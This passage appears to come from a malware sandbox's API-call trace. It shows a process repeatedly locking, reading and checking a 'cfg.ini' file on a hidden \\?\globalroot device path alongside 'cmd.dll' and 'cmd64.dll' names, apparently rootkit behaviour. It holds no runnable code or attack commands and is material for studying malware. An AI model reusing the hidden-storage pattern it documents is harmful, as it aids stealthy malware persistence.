_Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.214] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.214] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7f00 [0129.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.214] KeLeaveCriticalRegion () [0129.214] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.214] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.214] KeEnterCriticalRegion () [0129.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.214] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.214] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.214] KeLeaveCriticalRegion () [0129.214] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.214] KeEnterCriticalRegion () [0129.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.214] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.214] IdePortDispatch () returned 0x103 [0129.215] KeWaitForMutexObject () returned 0x0 [0129.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.215] KeLeaveCriticalRegion () [0129.215] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.215] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.215] KeEnterCriticalRegion () [0129.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.215] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb7000 [0129.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.215] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.215] IdePortDispatch () returned 0x103 [0129.215] KeWaitForMutexObject () returned 0x0 [0129.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.215] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.215] IdePortDispatch () returned 0x103 [0129.216] KeWaitForMutexObject () returned 0x0 [0129.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.216] KeLeaveCriticalRegion () [0129.216] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.216] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.216] KeEnterCriticalRegion () [0129.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.216] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.216] KeLeaveCriticalRegion () [0129.216] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.216] KeEnterCriticalRegion () [0129.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.216] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.216] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c030f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.216] KeLeaveCriticalRegion () [0129.216] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.216] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.217] KeEnterCriticalRegion () [0129.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.217] ExFreePoolWithTag (P=0xfffffa800c4f7f00, Tag=0x0) [0129.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.217] KeLeaveCriticalRegion () [0129.217] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.217] ReleaseMutex (hMutex=0xf0) returned 1 [0129.217] Sleep (dwMilliseconds=0x124f80) [0129.233] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.233] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.233] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.233] KeEnterCriticalRegion () [0129.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.233] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.233] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.233] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.233] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.233] IdePortDispatch () returned 0x103 [0129.233] KeWaitForMutexObject () returned 0x0 [0129.233] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.233] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.233] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.233] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.233] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.233] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04eb0 [0129.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.233] KeLeaveCriticalRegion () [0129.233] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.233] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.233] KeEnterCriticalRegion () [0129.233] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.233] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.233] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.233] KeLeaveCriticalRegion () [0129.234] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.234] KeEnterCriticalRegion () [0129.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.234] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.234] IdePortDispatch () returned 0x103 [0129.234] KeWaitForMutexObject () returned 0x0 [0129.234] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.234] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.234] KeLeaveCriticalRegion () [0129.234] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.234] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.234] KeEnterCriticalRegion () [0129.234] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.234] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbc000 [0129.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.234] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.234] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.234] IdePortDispatch () returned 0x103 [0129.234] KeWaitForMutexObject () returned 0x0 [0129.234] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.234] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.234] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.235] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.235] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.235] IdePortDispatch () returned 0x103 [0129.235] KeWaitForMutexObject () returned 0x0 [0129.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.235] KeLeaveCriticalRegion () [0129.235] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.235] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.235] KeEnterCriticalRegion () [0129.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.235] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.235] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.235] KeLeaveCriticalRegion () [0129.235] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.235] KeEnterCriticalRegion () [0129.235] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.236] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.236] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.236] KeLeaveCriticalRegion () [0129.236] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.236] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.236] KeEnterCriticalRegion () [0129.236] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.236] ExFreePoolWithTag (P=0xfffffa8003c04eb0, Tag=0x0) [0129.236] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.236] KeLeaveCriticalRegion () [0129.236] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.236] ReleaseMutex (hMutex=0xf0) returned 1 [0129.236] Sleep (dwMilliseconds=0x124f80) [0129.252] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.252] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.252] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.252] KeEnterCriticalRegion () [0129.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.252] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.252] IdePortDispatch () returned 0x103 [0129.252] KeWaitForMutexObject () returned 0x0 [0129.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.252] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.252] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.252] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.253] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.253] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.253] KeLeaveCriticalRegion () [0129.253] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.253] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.253] KeEnterCriticalRegion () [0129.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.253] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.253] KeLeaveCriticalRegion () [0129.253] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.253] KeEnterCriticalRegion () [0129.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.253] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.253] IdePortDispatch () returned 0x103 [0129.253] KeWaitForMutexObject () returned 0x0 [0129.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.253] KeLeaveCriticalRegion () [0129.253] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.253] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.253] KeEnterCriticalRegion () [0129.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.253] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc1000 [0129.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.254] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.254] IdePortDispatch () returned 0x103 [0129.254] KeWaitForMutexObject () returned 0x0 [0129.254] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.254] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.254] IdePortDispatch () returned 0x103 [0129.254] KeWaitForMutexObject () returned 0x0 [0129.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.254] KeLeaveCriticalRegion () [0129.254] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.255] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.255] KeEnterCriticalRegion () [0129.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.255] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.255] KeLeaveCriticalRegion () [0129.255] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.255] KeEnterCriticalRegion () [0129.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.255] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.255] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c030f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.255] KeLeaveCriticalRegion () [0129.255] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.255] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.255] KeEnterCriticalRegion () [0129.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.255] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.255] KeLeaveCriticalRegion () [0129.255] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.255] ReleaseMutex (hMutex=0xf0) returned 1 [0129.255] Sleep (dwMilliseconds=0x124f80) [0129.270] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.270] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.270] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.270] KeEnterCriticalRegion () [0129.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.270] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.270] IdePortDispatch () returned 0x103 [0129.271] KeWaitForMutexObject () returned 0x0 [0129.271] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.271] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.271] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.271] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.271] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.271] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c04b50 [0129.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.271] KeLeaveCriticalRegion () [0129.271] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.271] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.271] KeEnterCriticalRegion () [0129.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.271] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.271] KeLeaveCriticalRegion () [0129.271] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.271] KeEnterCriticalRegion () [0129.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.271] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.271] IdePortDispatch () returned 0x103 [0129.272] KeWaitForMutexObject () returned 0x0 [0129.272] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.272] KeLeaveCriticalRegion () [0129.272] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.272] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.272] KeEnterCriticalRegion () [0129.272] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.272] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bc6000 [0129.273] IoAllocateIrp 